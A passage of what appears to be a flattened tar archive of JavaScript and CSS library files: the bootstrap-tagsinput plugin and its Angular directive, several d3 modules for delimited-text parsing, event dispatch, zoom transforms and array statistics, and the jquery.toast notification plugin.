@param object keyPressEvent: JavaScript event object, refer * http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html * @param object lookupList: expected key combinations, as in: * [13, {which: 188, shiftKey: true}] */ function keyCombinationInList(keyPressEvent, lookupList) { var found = false; $.each(lookupList, function (index, keyCombination) { if (typeof (keyCombination) === 'number' && keyPressEvent.which === keyCombination) { found = true; return false; } if (keyPressEvent.which === keyCombination.which) { var alt = !keyCombination.hasOwnProperty('altKey') || keyPressEvent.altKey === keyCombination.altKey, shift = !keyCombination.hasOwnProperty('shiftKey') || keyPressEvent.shiftKey === keyCombination.shiftKey, ctrl = !keyCombination.hasOwnProperty('ctrlKey') || keyPressEvent.ctrlKey === keyCombination.ctrlKey; if (alt && shift && ctrl) { found = true; return false; } } }); return found; } /** * Initialize tagsinput behaviour on inputs and selects which have * data-role=tagsinput */ $(function() { $("input[data-role=tagsinput], select[multiple][data-role=tagsinput]").tagsinput(); }); })(window.jQuery); bootstrap-tagsinput-angular.js000064400000005676151677277600012622 0ustar00angular.module('bootstrap-tagsinput', []) .directive('bootstrapTagsinput', [function() { function getItemProperty(scope, property) { if (!property) return undefined; if (angular.isFunction(scope.$parent[property])) return scope.$parent[property]; return function(item) { return item[property]; }; } return { restrict: 'EA', scope: { model: '=ngModel' }, template: '<select multiple></select>', replace: false, link: function(scope, element, attrs) { $(function() { if (!angular.isArray(scope.model)) scope.model = []; var select = $('select', element); var typeaheadSourceArray = attrs.typeaheadSource ? attrs.typeaheadSource.split('.') : null; var typeaheadSource = typeaheadSourceArray ? (typeaheadSourceArray.length > 1 ? scope.$parent[typeaheadSourceArray[0]][typeaheadSourceArray[1]] : scope.$parent[typeaheadSourceArray[0]]) : null; select.tagsinput(scope.$parent[attrs.options || ''] || { typeahead : { source : angular.isFunction(typeaheadSource) ? typeaheadSource : null }, itemValue: getItemProperty(scope, attrs.itemvalue), itemText : getItemProperty(scope, attrs.itemtext), confirmKeys : getItemProperty(scope, attrs.confirmkeys) ? JSON.parse(attrs.confirmkeys) : [13], tagClass : angular.isFunction(scope.$parent[attrs.tagclass]) ? scope.$parent[attrs.tagclass] : function(item) { return attrs.tagclass; } }); for (var i = 0; i < scope.model.length; i++) { select.tagsinput('add', scope.model[i]); } select.on('itemAdded', function(event) { if (scope.model.indexOf(event.item) === -1) scope.model.push(event.item); }); select.on('itemRemoved', function(event) { var idx = scope.model.indexOf(event.item); if (idx !== -1) scope.model.splice(idx, 1); }); // create a shallow copy of model's current state, needed to determine // diff when model changes var prev = scope.model.slice(); scope.$watch("model", function() { var added = scope.model.filter(function(i) {return prev.indexOf(i) === -1;}), removed = prev.filter(function(i) {return scope.model.indexOf(i) === -1;}), i; prev = scope.model.slice(); // Remove tags no longer in binded model for (i = 0; i < removed.length; i++) { select.tagsinput('remove', removed[i]); } // Refresh remaining tags select.tagsinput('refresh'); // Add new items in model as tags for (i = 0; i < added.length; i++) { select.tagsinput('add', added[i]); } }, true); }); } }; }]); bootstrap-tagsinput-typeahead.css000064400000002000151677277600013263 0ustar00.twitter-typeahead .tt-query, .twitter-typeahead .tt-hint { margin-bottom: 0; } .twitter-typeahead .tt-hint { display: none; } .tt-menu { position: absolute; top: 100%; left: 0; z-index: 1000; display: none; float: left; min-width: 160px; padding: 5px 0; margin: 2px 0 0; list-style: none; font-size: 14px; background-color: #ffffff; border: 1px solid #cccccc; border: 1px solid rgba(0, 0, 0, 0.15); border-radius: 4px; -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175); box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175); background-clip: padding-box; cursor: pointer; } .tt-suggestion { display: block; padding: 3px 20px; clear: both; font-weight: normal; line-height: 1.428571429; color: #333333; white-space: nowrap; } .tt-suggestion:hover, .tt-suggestion:focus { color: #ffffff; text-decoration: none; outline: 0; background-color: #428bca; } bootstrap-tagsinput.css000064400000002534151677277600011335 0ustar00.bootstrap-tagsinput { background-color: #fff; border: 1px solid #ccc; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); display: inline-block; padding: 4px 6px; color: #555; vertical-align: middle; border-radius: 4px; max-width: 100%; line-height: 22px; cursor: text; } .bootstrap-tagsinput input { border: none; box-shadow: none; outline: none; background-color: transparent; padding: 0 6px; margin: 0; width: auto; max-width: inherit; } .bootstrap-tagsinput.form-control input::-moz-placeholder { color: #777; opacity: 1; } .bootstrap-tagsinput.form-control input:-ms-input-placeholder { color: #777; } .bootstrap-tagsinput.form-control input::-webkit-input-placeholder { color: #777; } .bootstrap-tagsinput input:focus { border: none; box-shadow: none; } .bootstrap-tagsinput .tag { margin-right: 2px; color: white; } .bootstrap-tagsinput .tag [data-role="remove"] { margin-left: 8px; cursor: pointer; } .bootstrap-tagsinput .tag [data-role="remove"]:after { content: "x"; padding: 0px 2px; } .bootstrap-tagsinput .tag [data-role="remove"]:hover { box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); } .bootstrap-tagsinput .tag [data-role="remove"]:hover:active { box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); } csv.js000064400000000317151677304770005717 0ustar00import dsv from "./dsv"; var csv = dsv(","); export var csvParse = csv.parse; export var csvParseRows = csv.parseRows; export var csvFormat = csv.format; export var csvFormatRows = csv.formatRows; dsv.js000064400000007077151677304770005732 0ustar00var EOL = {}, EOF = {}, QUOTE = 34, NEWLINE = 10, RETURN = 13; function objectConverter(columns) { return new Function("d", "return {" + columns.map(function(name, i) { return JSON.stringify(name) + ": d[" + i + "]"; }).join(",") + "}"); } function customConverter(columns, f) { var object = objectConverter(columns); return function(row, i) { return f(object(row), i, columns); }; } // Compute unique columns in order of discovery. function inferColumns(rows) { var columnSet = Object.create(null), columns = []; rows.forEach(function(row) { for (var column in row) { if (!(column in columnSet)) { columns.push(columnSet[column] = column); } } }); return columns; } export default function(delimiter) { var reFormat = new RegExp("[\"" + delimiter + "\n\r]"), DELIMITER = delimiter.charCodeAt(0); function parse(text, f) { var convert, columns, rows = parseRows(text, function(row, i) { if (convert) return convert(row, i - 1); columns = row, convert = f ? customConverter(row, f) : objectConverter(row); }); rows.columns = columns || []; return rows; } function parseRows(text, f) { var rows = [], // output rows N = text.length, I = 0, // current character index n = 0, // current line number t, // current token eof = N <= 0, // current token followed by EOF? eol = false; // current token followed by EOL? // Strip the trailing newline. if (text.charCodeAt(N - 1) === NEWLINE) --N; if (text.charCodeAt(N - 1) === RETURN) --N; function token() { if (eof) return EOF; if (eol) return eol = false, EOL; // Unescape quotes. var i, j = I, c; if (text.charCodeAt(j) === QUOTE) { while (I++ < N && text.charCodeAt(I) !== QUOTE || text.charCodeAt(++I) === QUOTE); if ((i = I) >= N) eof = true; else if ((c = text.charCodeAt(I++)) === NEWLINE) eol = true; else if (c === RETURN) { eol = true; if (text.charCodeAt(I) === NEWLINE) ++I; } return text.slice(j + 1, i - 1).replace(/""/g, "\""); } // Find next delimiter or newline. while (I < N) { if ((c = text.charCodeAt(i = I++)) === NEWLINE) eol = true; else if (c === RETURN) { eol = true; if (text.charCodeAt(I) === NEWLINE) ++I; } else if (c !== DELIMITER) continue; return text.slice(j, i); } // Return last token before EOF. return eof = true, text.slice(j, N); } while ((t = token()) !== EOF) { var row = []; while (t !== EOL && t !== EOF) row.push(t), t = token(); if (f && (row = f(row, n++)) == null) continue; rows.push(row); } return rows; } function format(rows, columns) { if (columns == null) columns = inferColumns(rows); return [columns.map(formatValue).join(delimiter)].concat(rows.map(function(row) { return columns.map(function(column) { return formatValue(row[column]); }).join(delimiter); })).join("\n"); } function formatRows(rows) { return rows.map(formatRow).join("\n"); } function formatRow(row) { return row.map(formatValue).join(delimiter); } function formatValue(text) { return text == null ? "" : reFormat.test(text += "") ? "\"" + text.replace(/"/g, "\"\"") + "\"" : text; } return { parse: parse, parseRows: parseRows, format: format, formatRows: formatRows }; } tsv.js000064400000000320151677304770005732 0ustar00import dsv from "./dsv"; var tsv = dsv("\t"); export var tsvParse = tsv.parse; export var tsvParseRows = tsv.parseRows; export var tsvFormat = tsv.format; export var tsvFormatRows = tsv.formatRows; dispatch.js000064400000005375151677306250006727 0ustar00var noop = {value: function() {}}; function dispatch() { for (var i = 0, n = arguments.length, _ = {}, t; i < n; ++i) { if (!(t = arguments[i] + "") || (t in _)) throw new Error("illegal type: " + t); _[t] = []; } return new Dispatch(_); } function Dispatch(_) { this._ = _; } function parseTypenames(typenames, types) { return typenames.trim().split(/^|\s+/).map(function(t) { var name = "", i = t.indexOf("."); if (i >= 0) name = t.slice(i + 1), t = t.slice(0, i); if (t && !types.hasOwnProperty(t)) throw new Error("unknown type: " + t); return {type: t, name: name}; }); } Dispatch.prototype = dispatch.prototype = { constructor: Dispatch, on: function(typename, callback) { var _ = this._, T = parseTypenames(typename + "", _), t, i = -1, n = T.length; // If no callback was specified, return the callback of the given type and name. if (arguments.length < 2) { while (++i < n) if ((t = (typename = T[i]).type) && (t = get(_[t], typename.name))) return t; return; } // If a type was specified, set the callback for the given type and name. // Otherwise, if a null callback was specified, remove callbacks of the given name. if (callback != null && typeof callback !== "function") throw new Error("invalid callback: " + callback); while (++i < n) { if (t = (typename = T[i]).type) _[t] = set(_[t], typename.name, callback); else if (callback == null) for (t in _) _[t] = set(_[t], typename.name, null); } return this; }, copy: function() { var copy = {}, _ = this._; for (var t in _) copy[t] = _[t].slice(); return new Dispatch(copy); }, call: function(type, that) { if ((n = arguments.length - 2) > 0) for (var args = new Array(n), i = 0, n, t; i < n; ++i) args[i] = arguments[i + 2]; if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type); for (t = this._[type], i = 0, n = t.length; i < n; ++i) t[i].value.apply(that, args); }, apply: function(type, that, args) { if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type); for (var t = this._[type], i = 0, n = t.length; i < n; ++i) t[i].value.apply(that, args); } }; function get(type, name) { for (var i = 0, n = type.length, c; i < n; ++i) { if ((c = type[i]).name === name) { return c.value; } } } function set(type, name, callback) { for (var i = 0, n = type.length; i < n; ++i) { if (type[i].name === name) { type[i] = noop, type = type.slice(0, i).concat(type.slice(i + 1)); break; } } if (callback != null) type.push({name: name, value: callback}); return type; } export default dispatch; transform.js000064400000002552151677306470007141 0ustar00export function Transform(k, x, y) { this.k = k; this.x = x; this.y = y; } Transform.prototype = { constructor: Transform, scale: function(k) { return k === 1 ? this : new Transform(this.k * k, this.x, this.y); }, translate: function(x, y) { return x === 0 & y === 0 ? this : new Transform(this.k, this.x + this.k * x, this.y + this.k * y); }, apply: function(point) { return [point[0] * this.k + this.x, point[1] * this.k + this.y]; }, applyX: function(x) { return x * this.k + this.x; }, applyY: function(y) { return y * this.k + this.y; }, invert: function(location) { return [(location[0] - this.x) / this.k, (location[1] - this.y) / this.k]; }, invertX: function(x) { return (x - this.x) / this.k; }, invertY: function(y) { return (y - this.y) / this.k; }, rescaleX: function(x) { return x.copy().domain(x.range().map(this.invertX, this).map(x.invert, x)); }, rescaleY: function(y) { return y.copy().domain(y.range().map(this.invertY, this).map(y.invert, y)); }, toString: function() { return "translate(" + this.x + "," + this.y + ") scale(" + this.k + ")"; } }; export var identity = new Transform(1, 0, 0); transform.prototype = Transform.prototype; export default function transform(node) { return node.__zoom || identity; } quantile.js000064400000001001151677307240006730 0ustar00import number from "./number"; export default function(values, p, valueof) { if (valueof == null) valueof = number; if (!(n = values.length)) return; if ((p = +p) <= 0 || n < 2) return +valueof(values[0], 0, values); if (p >= 1) return +valueof(values[n - 1], n - 1, values); var n, i = (n - 1) * p, i0 = Math.floor(i), value0 = +valueof(values[i0], i0, values), value1 = +valueof(values[i0 + 1], i0 + 1, values); return value0 + (value1 - value0) * (i - i0); } deviation.js000064400000000215151677307240007076 0ustar00import variance from "./variance"; export default function(array, f) { var v = variance(array, f); return v ? Math.sqrt(v) : v; } median.js000064400000001113151677307240006347 0ustar00import ascending from "./ascending"; import number from "./number"; import quantile from "./quantile"; export default function(values, valueof) { var n = values.length, i = -1, value, numbers = []; if (valueof == null) { while (++i < n) { if (!isNaN(value = number(values[i]))) { numbers.push(value); } } } else { while (++i < n) { if (!isNaN(value = number(valueof(values[i], i, values)))) { numbers.push(value); } } } return quantile(numbers.sort(ascending), 0.5); } range.js000064400000000545151677307240006216 0ustar00export default function(start, stop, step) { start = +start, stop = +stop, step = (n = arguments.length) < 2 ? (stop = start, start = 0, 1) : n < 3 ? 1 : +step; var i = -1, n = Math.max(0, Math.ceil((stop - start) / step)) | 0, range = new Array(n); while (++i < n) { range[i] = start + i * step; } return range; } ticks.js000064400000003226151677307240006236 0ustar00var e10 = Math.sqrt(50), e5 = Math.sqrt(10), e2 = Math.sqrt(2); export default function(start, stop, count) { var reverse, i = -1, n, ticks, step; stop = +stop, start = +start, count = +count; if (start === stop && count > 0) return [start]; if (reverse = stop < start) n = start, start = stop, stop = n; if ((step = tickIncrement(start, stop, count)) === 0 || !isFinite(step)) return []; if (step > 0) { start = Math.ceil(start / step); stop = Math.floor(stop / step); ticks = new Array(n = Math.ceil(stop - start + 1)); while (++i < n) ticks[i] = (start + i) * step; } else { start = Math.floor(start * step); stop = Math.ceil(stop * step); ticks = new Array(n = Math.ceil(start - stop + 1)); while (++i < n) ticks[i] = (start - i) / step; } if (reverse) ticks.reverse(); return ticks; } export function tickIncrement(start, stop, count) { var step = (stop - start) / Math.max(0, count), power = Math.floor(Math.log(step) / Math.LN10), error = step / Math.pow(10, power); return power >= 0 ? (error >= e10 ? 10 : error >= e5 ? 5 : error >= e2 ? 2 : 1) * Math.pow(10, power) : -Math.pow(10, -power) / (error >= e10 ? 10 : error >= e5 ? 5 : error >= e2 ? 2 : 1); } export function tickStep(start, stop, count) { var step0 = Math.abs(stop - start) / Math.max(0, count), step1 = Math.pow(10, Math.floor(Math.log(step0) / Math.LN10)), error = step0 / step1; if (error >= e10) step1 *= 10; else if (error >= e5) step1 *= 5; else if (error >= e2) step1 *= 2; return stop < start ? -step1 : step1; } bisect.js000064400000000365151677307240006373 0ustar00import ascending from "./ascending"; import bisector from "./bisector"; var ascendingBisect = bisector(ascending); export var bisectRight = ascendingBisect.right; export var bisectLeft = ascendingBisect.left; export default bisectRight; min.js000064400000001555151677307240005707 0ustar00export default function(values, valueof) { var n = values.length, i = -1, value, min; if (valueof == null) { while (++i < n) { // Find the first comparable value. if ((value = values[i]) != null && value >= value) { min = value; while (++i < n) { // Compare the remaining values. if ((value = values[i]) != null && min > value) { min = value; } } } } } else { while (++i < n) { // Find the first comparable value. if ((value = valueof(values[i], i, values)) != null && value >= value) { min = value; while (++i < n) { // Compare the remaining values. if ((value = valueof(values[i], i, values)) != null && min > value) { min = value; } } } } } return min; } histogram.js000064400000004021151677307240007110 0ustar00import {slice} from "./array"; import bisect from "./bisect"; import constant from "./constant"; import extent from "./extent"; import identity from "./identity"; import range from "./range"; import {tickStep} from "./ticks"; import sturges from "./threshold/sturges"; export default function() { var value = identity, domain = extent, threshold = sturges; function histogram(data) { var i, n = data.length, x, values = new Array(n); for (i = 0; i < n; ++i) { values[i] = value(data[i], i, data); } var xz = domain(values), x0 = xz[0], x1 = xz[1], tz = threshold(values, x0, x1); // Convert number of thresholds into uniform thresholds. if (!Array.isArray(tz)) { tz = tickStep(x0, x1, tz); tz = range(Math.ceil(x0 / tz) * tz, x1, tz); // exclusive } // Remove any thresholds outside the domain. var m = tz.length; while (tz[0] <= x0) tz.shift(), --m; while (tz[m - 1] > x1) tz.pop(), --m; var bins = new Array(m + 1), bin; // Initialize bins. for (i = 0; i <= m; ++i) { bin = bins[i] = []; bin.x0 = i > 0 ? tz[i - 1] : x0; bin.x1 = i < m ? tz[i] : x1; } // Assign data to bins by value, ignoring any outside the domain. for (i = 0; i < n; ++i) { x = values[i]; if (x0 <= x && x <= x1) { bins[bisect(tz, x, 0, m)].push(data[i]); } } return bins; } histogram.value = function(_) { return arguments.length ? (value = typeof _ === "function" ? _ : constant(_), histogram) : value; }; histogram.domain = function(_) { return arguments.length ? (domain = typeof _ === "function" ? _ : constant([_[0], _[1]]), histogram) : domain; }; histogram.thresholds = function(_) { return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), histogram) : threshold; }; return histogram; } zip.js000064400000000150151677307240005714 0ustar00import transpose from "./transpose"; export default function() { return transpose(arguments); } sum.js000064400000000612151677307240005721 0ustar00export default function(values, valueof) { var n = values.length, i = -1, value, sum = 0; if (valueof == null) { while (++i < n) { if (value = +values[i]) sum += value; // Note: zero and null are equivalent. } } else { while (++i < n) { if (value = +valueof(values[i], i, values)) sum += value; } } return sum; } shuffle.js000064400000000453151677307240006554 0ustar00export default function(array, i0, i1) { var m = (i1 == null ? array.length : i1) - (i0 = i0 == null ? 0 : +i0), t, i; while (m) { i = Math.random() * m-- | 0; t = array[m + i0]; array[m + i0] = array[i + i0]; array[i + i0] = t; } return array; } extent.js000064400000000323151677307240006423 0ustar00export default function(_) { return arguments.length ? this.cover(+_[0][0], +_[0][1]).cover(+_[1][0], +_[1][1]) : isNaN(this._x0) ? undefined : [[this._x0, this._y0], [this._x1, this._y1]]; } cross.js000064400000000701151677307240006245 0ustar00import {pair} from "./pairs"; export default function(values0, values1, reduce) { var n0 = values0.length, n1 = values1.length, values = new Array(n0 * n1), i0, i1, i, value0; if (reduce == null) reduce = pair; for (i0 = i = 0; i0 < n0; ++i0) { for (value0 = values0[i0], i1 = 0; i1 < n1; ++i1, ++i) { values[i] = reduce(value0, values1[i1]); } } return values; } variance.js000064400000001251151677307240006705 0ustar00import number from "./number"; export default function(values, valueof) { var n = values.length, m = 0, i = -1, mean = 0, value, delta, sum = 0; if (valueof == null) { while (++i < n) { if (!isNaN(value = number(values[i]))) { delta = value - mean; mean += delta / ++m; sum += delta * (value - mean); } } } else { while (++i < n) { if (!isNaN(value = number(valueof(values[i], i, values)))) { delta = value - mean; mean += delta / ++m; sum += delta * (value - mean); } } } if (m > 1) return sum / (m - 1); } descending.js000064400000000131151677307240007214 0ustar00export default function(a, b) { return b < a ? -1 : b > a ? 1 : b >= a ? 0 : NaN; } merge.js000064400000000550151677307240006215 0ustar00export default function(arrays) { var n = arrays.length, m, i = -1, j = 0, merged, array; while (++i < n) j += arrays[i].length; merged = new Array(j); while (--n >= 0) { array = arrays[n]; m = array.length; while (--m >= 0) { merged[--j] = array[m]; } } return merged; } ascending.js000064400000000065151677307240007052 0ustar00export default function(a, b) { return a - b; } transpose.js000064400000000563151677307240007140 0ustar00import min from "./min"; export default function(matrix) { if (!(n = matrix.length)) return []; for (var i = -1, m = min(matrix, length), transpose = new Array(m); ++i < m;) { for (var j = -1, n, row = transpose[i] = new Array(n); ++j < n;) { row[j] = matrix[j][i]; } } return transpose; } function length(d) { return d.length; } scan.js000064400000000634151677307240006045 0ustar00import ascending from "./ascending"; export default function(values, compare) { if (!(n = values.length)) return; var n, i = 0, j = 0, xi, xj = values[j]; if (compare == null) compare = ascending; while (++i < n) { if (compare(xi = values[i], xj) < 0 || compare(xj, xj) !== 0) { xj = xi, j = i; } } if (compare(xj, xj) === 0) return j; } pairs.js000064400000000420151677307240006230 0ustar00export default function(array, f) { if (f == null) f = pair; var i = 0, n = array.length - 1, p = array[0], pairs = new Array(n < 0 ? 0 : n); while (i < n) pairs[i] = f(p, p = array[++i]); return pairs; } export function pair(a, b) { return [a, b]; } mean.js000064400000000736151677307240006044 0ustar00import number from "./number"; export default function(values, valueof) { var n = values.length, m = n, i = -1, value, sum = 0; if (valueof == null) { while (++i < n) { if (!isNaN(value = number(values[i]))) sum += value; else --m; } } else { while (++i < n) { if (!isNaN(value = number(valueof(values[i], i, values)))) sum += value; else --m; } } if (m) return sum / m; } max.js000064400000001555151677307240005711 0ustar00export default function(values, valueof) { var n = values.length, i = -1, value, max; if (valueof == null) { while (++i < n) { // Find the first comparable value. if ((value = values[i]) != null && value >= value) { max = value; while (++i < n) { // Compare the remaining values. if ((value = values[i]) != null && value > max) { max = value; } } } } } else { while (++i < n) { // Find the first comparable value. if ((value = valueof(values[i], i, values)) != null && value >= value) { max = value; while (++i < n) { // Compare the remaining values. if ((value = valueof(values[i], i, values)) != null && value > max) { max = value; } } } } } return max; } threshold/sturges.js000064400000000143151677307240010604 0ustar00export default function(values) { return Math.ceil(Math.log(values.length) / Math.LN2) + 1; } threshold/scott.js000064400000000271151677307240010246 0ustar00import deviation from "../deviation"; export default function(values, min, max) { return Math.ceil((max - min) / (3.5 * deviation(values) * Math.pow(values.length, -1 / 3))); } threshold/freedmanDiaconis.js000064400000000562151677307240012350 0ustar00import {map} from "../array"; import ascending from "../ascending"; import number from "../number"; import quantile from "../quantile"; export default function(values, min, max) { values = map.call(values, number).sort(ascending); return Math.ceil((max - min) / (2 * (quantile(values, 0.75) - quantile(values, 0.25)) * Math.pow(values.length, -1 / 3))); } identity.js000064400000000056151677307240006750 0ustar00export default function(x) { return x; } bisector.js000064400000001463151677307240006734 0ustar00import ascending from "./ascending"; export default function(compare) { if (compare.length === 1) compare = ascendingComparator(compare); return { left: function(a, x, lo, hi) { if (lo == null) lo = 0; if (hi == null) hi = a.length; while (lo < hi) { var mid = lo + hi >>> 1; if (compare(a[mid], x) < 0) lo = mid + 1; else hi = mid; } return lo; }, right: function(a, x, lo, hi) { if (lo == null) lo = 0; if (hi == null) hi = a.length; while (lo < hi) { var mid = lo + hi >>> 1; if (compare(a[mid], x) > 0) hi = mid; else lo = mid + 1; } return lo; } }; } function ascendingComparator(f) { return function(d, x) { return ascending(f(d), x); }; } permute.js000064400000000246151677307240006601 0ustar00export default function(array, indexes) { var i = indexes.length, permutes = new Array(i); while (i--) permutes[i] = array[indexes[i]]; return permutes; } jquery.toast.js000064400000032164151677307320007573 0ustar00// jQuery toast plugin created by Kamran Ahmed copyright MIT license 2015 if ( typeof Object.create !== 'function' ) { Object.create = function( obj ) { function F() {} F.prototype = obj; return new F(); }; } (function( $, window, document, undefined ) { "use strict"; var Toast = { _positionClasses : ['bottom-left', 'bottom-right', 'top-right', 'top-left', 'bottom-center', 'top-center', 'mid-center'], _defaultIcons : ['success', 'error', 'info', 'warning'], init: function (options, elem) { this.prepareOptions(options, $.toast.options); this.process(); }, prepareOptions: function(options, options_to_extend) { var _options = {}; if ( ( typeof options === 'string' ) || ( options instanceof Array ) ) { _options.text = options; } else { _options = options; } this.options = $.extend( {}, options_to_extend, _options ); }, process: function () { this.setup(); this.addToDom(); this.position(); this.bindToast(); this.animate(); }, setup: function () { var _toastContent = ''; this._toastEl = this._toastEl || $('<div></div>', { class : 'jq-toast-single' }); // For the loader on top _toastContent += '<span class="jq-toast-loader"></span>'; if ( this.options.allowToastClose ) { _toastContent += '<span class="close-jq-toast-single">×</span>'; }; if ( this.options.text instanceof Array ) { if ( this.options.heading ) { _toastContent +='<h2 class="jq-toast-heading">' + this.options.heading + '</h2>'; }; _toastContent += '<ul class="jq-toast-ul">'; for (var i = 0; i < this.options.text.length; i++) { _toastContent += '<li class="jq-toast-li" id="jq-toast-item-' + i + '">' + this.options.text[i] + '</li>'; } _toastContent += '</ul>'; } else { if ( this.options.heading ) { _toastContent +='<h2 class="jq-toast-heading">' + this.options.heading + '</h2>'; }; _toastContent += this.options.text; } this._toastEl.html( _toastContent ); if ( this.options.bgColor !== false ) { this._toastEl.css("background-color", this.options.bgColor); }; if ( this.options.textColor !== false ) { this._toastEl.css("color", this.options.textColor); }; if ( this.options.textAlign ) { this._toastEl.css('text-align', this.options.textAlign); } if ( this.options.icon !== false ) { this._toastEl.addClass('jq-has-icon'); if ( $.inArray(this.options.icon, this._defaultIcons) !== -1 ) { this._toastEl.addClass('jq-icon-' + this.options.icon); }; }; if ( this.options.class !== false ){ this._toastEl.addClass(this.options.class) } }, position: function () { if ( ( typeof this.options.position === 'string' ) && ( $.inArray( this.options.position, this._positionClasses) !== -1 ) ) { if ( this.options.position === 'bottom-center' ) { this._container.css({ left: ( $(window).outerWidth() / 2 ) - this._container.outerWidth()/2, bottom: 20 }); } else if ( this.options.position === 'top-center' ) { this._container.css({ left: ( $(window).outerWidth() / 2 ) - this._container.outerWidth()/2, top: 20 }); } else if ( this.options.position === 'mid-center' ) { this._container.css({ left: ( $(window).outerWidth() / 2 ) - this._container.outerWidth()/2, top: ( $(window).outerHeight() / 2 ) - this._container.outerHeight()/2 }); } else { this._container.addClass( this.options.position ); } } else if ( typeof this.options.position === 'object' ) { this._container.css({ top : this.options.position.top ? this.options.position.top : 'auto', bottom : this.options.position.bottom ? this.options.position.bottom : 'auto', left : this.options.position.left ? this.options.position.left : 'auto', right : this.options.position.right ? this.options.position.right : 'auto' }); } else { this._container.addClass( 'bottom-left' ); } }, bindToast: function () { var that = this; this._toastEl.on('afterShown', function () { that.processLoader(); }); this._toastEl.find('.close-jq-toast-single').on('click', function ( e ) { e.preventDefault(); if( that.options.showHideTransition === 'fade') { that._toastEl.trigger('beforeHide'); that._toastEl.fadeOut(function () { that._toastEl.trigger('afterHidden'); }); } else if ( that.options.showHideTransition === 'slide' ) { that._toastEl.trigger('beforeHide'); that._toastEl.slideUp(function () { that._toastEl.trigger('afterHidden'); }); } else { that._toastEl.trigger('beforeHide'); that._toastEl.hide(function () { that._toastEl.trigger('afterHidden'); }); } }); if ( typeof this.options.beforeShow == 'function' ) { this._toastEl.on('beforeShow', function () { that.options.beforeShow(that._toastEl); }); }; if ( typeof this.options.afterShown == 'function' ) { this._toastEl.on('afterShown', function () { that.options.afterShown(that._toastEl); }); }; if ( typeof this.options.beforeHide == 'function' ) { this._toastEl.on('beforeHide', function () { that.options.beforeHide(that._toastEl); }); }; if ( typeof this.options.afterHidden == 'function' ) { this._toastEl.on('afterHidden', function () { that.options.afterHidden(that._toastEl); }); }; if ( typeof this.options.onClick == 'function' ) { this._toastEl.on('click', function () { that.options.onClick(that._toastEl); }); }; }, addToDom: function () { var _container = $('.jq-toast-wrap'); if ( _container.length === 0 ) { _container = $('<div></div>',{ class: "jq-toast-wrap" }); $('body').append( _container ); } else if ( !this.options.stack || isNaN( parseInt(this.options.stack, 10) ) ) { _container.empty(); } _container.find('.jq-toast-single:hidden').remove(); _container.append( this._toastEl ); if ( this.options.stack && !isNaN( parseInt( this.options.stack ), 10 ) ) { var _prevToastCount = _container.find('.jq-toast-single').length, _extToastCount = _prevToastCount - this.options.stack; if ( _extToastCount > 0 ) { $('.jq-toast-wrap').find('.jq-toast-single').slice(0, _extToastCount).remove(); }; } this._container = _container; }, canAutoHide: function () { return ( this.options.hideAfter !== false ) && !isNaN( parseInt( this.options.hideAfter, 10 ) ); }, processLoader: function () { // Show the loader only, if auto-hide is on and loader is demanded if (!this.canAutoHide() || this.options.loader === false) { return false; } var loader = this._toastEl.find('.jq-toast-loader'); // 400 is the default time that jquery uses for fade/slide // Divide by 1000 for milliseconds to seconds conversion var transitionTime = (this.options.hideAfter - 400) / 1000 + 's'; var loaderBg = this.options.loaderBg; var style = loader.attr('style') || ''; style = style.substring(0, style.indexOf('-webkit-transition')); // Remove the last transition definition style += '-webkit-transition: width ' + transitionTime + ' ease-in; \ -o-transition: width ' + transitionTime + ' ease-in; \ transition: width ' + transitionTime + ' ease-in; \ background-color: ' + loaderBg + ';'; loader.attr('style', style).addClass('jq-toast-loaded'); }, animate: function () { var that = this; this._toastEl.hide(); this._toastEl.trigger('beforeShow'); if ( this.options.showHideTransition.toLowerCase() === 'fade' ) { this._toastEl.fadeIn(function ( ){ that._toastEl.trigger('afterShown'); }); } else if ( this.options.showHideTransition.toLowerCase() === 'slide' ) { this._toastEl.slideDown(function ( ){ that._toastEl.trigger('afterShown'); }); } else { this._toastEl.show(function ( ){ that._toastEl.trigger('afterShown'); }); } if (this.canAutoHide()) { var that = this; window.setTimeout(function(){ if ( that.options.showHideTransition.toLowerCase() === 'fade' ) { that._toastEl.trigger('beforeHide'); that._toastEl.fadeOut(function () { that._toastEl.trigger('afterHidden'); }); } else if ( that.options.showHideTransition.toLowerCase() === 'slide' ) { that._toastEl.trigger('beforeHide'); that._toastEl.slideUp(function () { that._toastEl.trigger('afterHidden'); }); } else { that._toastEl.trigger('beforeHide'); that._toastEl.hide(function () { that._toastEl.trigger('afterHidden'); }); } }, this.options.hideAfter); }; }, reset: function ( resetWhat ) { if ( resetWhat === 'all' ) { $('.jq-toast-wrap').remove(); } else { this._toastEl.remove(); } }, update: function(options) { this.prepareOptions(options, this.options); this.setup(); this.bindToast(); }, close: function() { this._toastEl.find('.close-jq-toast-single').click(); } }; $.toast = function(options) { var toast = Object.create(Toast); toast.init(options, this); return { reset: function ( what ) { toast.reset( what ); }, update: function( options ) { toast.update( options ); }, close: function( ) { toast.close( ); } } }; $.toast.options = { text: '', heading: '', showHideTransition: 'fade', allowToastClose: true, hideAfter: 3000, loader: true, loaderBg: '#9EC600', stack: 5, position: 'bottom-left', bgColor: false, textColor: false, textAlign: 'left', icon: false, beforeShow: function () {}, afterShown: function () {}, beforeHide: function () {}, afterHidden: function () {}, onClick: function () {} }; })( jQuery, window, document ); jquery.toast.css000064400000011461151677307320007744 0ustar00/** * jQuery toast plugin created by Kamran Ahmed copyright MIT license 2014 */ .jq-toast-wrap { display: block; position: fixed; width: 250px; pointer-events: none !important; margin: 0; padding: 0; letter-spacing: normal; z-index: 9000 !important; } .jq-toast-wrap * { margin: 0; padding: 0; } .jq-toast-wrap.bottom-left { bottom: 20px; left: 20px; } .jq-toast-wrap.bottom-right { bottom: 20px; right: 40px; } .jq-toast-wrap.top-left { top: 20px; left: 20px; } .jq-toast-wrap.top-right { top: 20px; right: 40px; } .jq-toast-single { display: block; width: 100%; padding: 10px; margin: 0px 0px 5px; border-radius: 4px; font-size: 12px; font-family: arial, sans-serif; 